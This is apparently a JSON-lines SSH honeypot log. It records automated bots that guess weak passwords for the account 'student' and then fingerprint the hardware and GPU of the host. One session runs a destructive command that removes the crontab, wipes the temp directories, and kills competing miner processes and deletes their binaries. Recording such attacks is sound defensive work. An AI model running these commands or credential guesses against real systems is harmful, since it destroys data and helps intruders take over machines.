{"id":"a98dcfac-0eb4-4c3e-ab36-64050a63c4a2","name":"earnest-plucky-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46602,"username":"student","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:37:52.676423+00:00","ended_at":"2026-08-27T13:37:54.007717+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"student","password":"student","method":"password","accepted":false,"tier":"other"}]}
{"id":"d30e20ff-1588-45c6-8c5f-22ae50f45949","name":"prickly-twilight-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":42638,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":305,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T03:01:23.477446+00:00","ended_at":"2026-08-27T03:01:29.153544+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T03:00:29.734930+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T03:00:33.590526+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T03:00:33.817792+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T03:00:39.665733+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T03:00:39.911038+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T03:00:44.517916+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:50"},{"seq":7,"at":"2026-08-27T03:00:44.699988+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T03:00:48.918906+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T03:00:49.371594+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T03:00:54.849458+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T03:00:55.545201+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T03:00:59.743152+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T03:01:00.047839+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T03:01:04.303031+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T03:01:04.484138+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T03:01:07.325875+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T03:01:07.703779+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T03:01:13.511185+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T03:01:13.834100+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T03:01:17.751784+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T03:01:18.053430+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T03:01:22.874536+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T03:01:23.478098+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T03:01:29.030784+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"student","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"1b9df431-baad-4bb2-8345-623246ed2469","name":"keen-diligent-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":56814,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":334,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:46:30.656886+00:00","ended_at":"2026-08-27T02:46:36.505356+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:45:34.624270+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:45:39.334645+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:45:39.721364+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:45:45.612324+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:45:46.283253+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:45:51.879377+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:35"},{"seq":7,"at":"2026-08-27T02:45:52.099972+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:45:56.580923+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:45:56.849531+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:45:59.496862+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:46:00.176937+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:46:05.853172+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:46:06.188148+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:46:10.854041+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:46:11.280081+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:46:14.298605+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:46:14.746706+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:46:20.274667+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:46:20.525843+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:46:25.613526+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:46:25.797150+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:46:30.477834+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:46:30.657969+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:46:36.368460+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"student","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"eb139597-01c7-4a7f-977c-cd65b24ce8be","name":"seaward-pleasant-siskin","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":40890,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:45:23.091989+00:00","ended_at":"2026-08-27T02:45:28.347304+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:44:24.881449+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:44:30.044101+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:44:30.476227+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:44:35.035273+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:44:35.485079+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:44:38.294226+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:34"},{"seq":7,"at":"2026-08-27T02:44:39.054490+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:44:43.651483+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:44:44.073266+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:44:50.048538+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:44:50.269994+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:44:55.663692+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:44:56.289379+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:45:01.590465+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:45:01.901087+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:45:06.830665+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:45:07.172766+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:45:12.054106+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:45:12.579765+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:45:16.153548+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:45:16.753366+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:45:22.474466+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:45:23.092725+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:45:28.163486+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"student","password":"student","method":"password","accepted":true,"tier":"other"}]}
{"id":"a545b970-32f1-4e0e-85ab-0c77670c5f1e","name":"vigilant-honest-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":47828,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":218,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:39:48.898723+00:00","ended_at":"2026-08-27T02:39:51.742709+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:38:56.255799+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:39:01.714695+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:39:02.008339+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:39:06.035568+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:39:06.224176+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:39:12.213462+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:29"},{"seq":7,"at":"2026-08-27T02:39:12.436761+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:39:18.065949+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:39:18.247515+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:39:22.146652+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:39:22.515461+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:39:26.362189+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:39:26.582515+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:39:29.924311+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:39:30.090586+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:39:34.403701+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:39:34.588034+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:39:40.445496+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:39:40.664126+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:39:44.828382+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:39:45.141860+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:39:48.722809+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:39:48.899231+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:39:51.610913+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"student","password":"student123","method":"password","accepted":true,"tier":"other"}]}
{"id":"5343aaf8-03ef-46ac-a460-f78ece3bcd62","name":"stormy-dutiful-oxpecker","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":43508,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:01:18.724606+00:00","ended_at":"2026-08-27T02:01:21.026218+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"student","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
{"id":"c8b4e973-a343-47b4-8ab7-0698f1f0ea4e","name":"arctic-marbled-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":47508,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":311,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:01:12.894389+00:00","ended_at":"2026-08-27T02:01:21.027884+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-27T02:00:16.399755+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:00:19.759396+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:00:20.493598+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:00:24.383892+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:00:24.700418+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:00:28.487321+00:00","kind":"output","latency_ms":null,"data":"6 days, 22:50"},{"seq":7,"at":"2026-08-27T02:00:28.692425+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:00:32.062786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:00:32.374405+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:00:34.973227+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:00:35.704401+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:00:41.034388+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:00:41.202093+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:00:44.761025+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:00:45.028594+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:00:50.694853+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:00:50.956685+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:00:54.793198+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:00:55.144779+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:00:59.365174+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:00:59.656429+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:01:03.137052+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:01:03.304522+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:01:09.197002+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:01:09.530415+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:01:12.894889+00:00","kind":"input","latency_ms":null,"data":"echo redhat > /tmp/d.log"}],"credentials":[{"username":"student","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
{"id":"29917647-2ae4-4a02-893c-0b5c79472994","name":"thawing-quaint-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":57602,"username":"student","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":356,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T14:32:16.689938+00:00","ended_at":"2026-08-26T14:32:21.338841+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T14:31:26.922186+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T14:31:30.262475+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T14:31:30.522243+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T14:31:35.653411+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T14:31:36.213044+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T14:31:41.075912+00:00","kind":"output","latency_ms":null,"data":"6 days, 11:21"},{"seq":7,"at":"2026-08-26T14:31:41.394189+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T14:31:44.333201+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T14:31:45.111444+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T14:31:49.862410+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T14:31:50.386857+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T14:31:56.083323+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T14:31:56.437472+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T14:31:59.326376+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T14:31:59.731544+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T14:32:04.284555+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T14:32:04.613761+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T14:32:07.667011+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T14:32:08.023562+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T14:32:12.624433+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T14:32:12.975195+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T14:32:16.305161+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T14:32:16.690515+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T14:32:20.952346+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"student","password":"student123","method":"password","accepted":true,"tier":"other"}]}
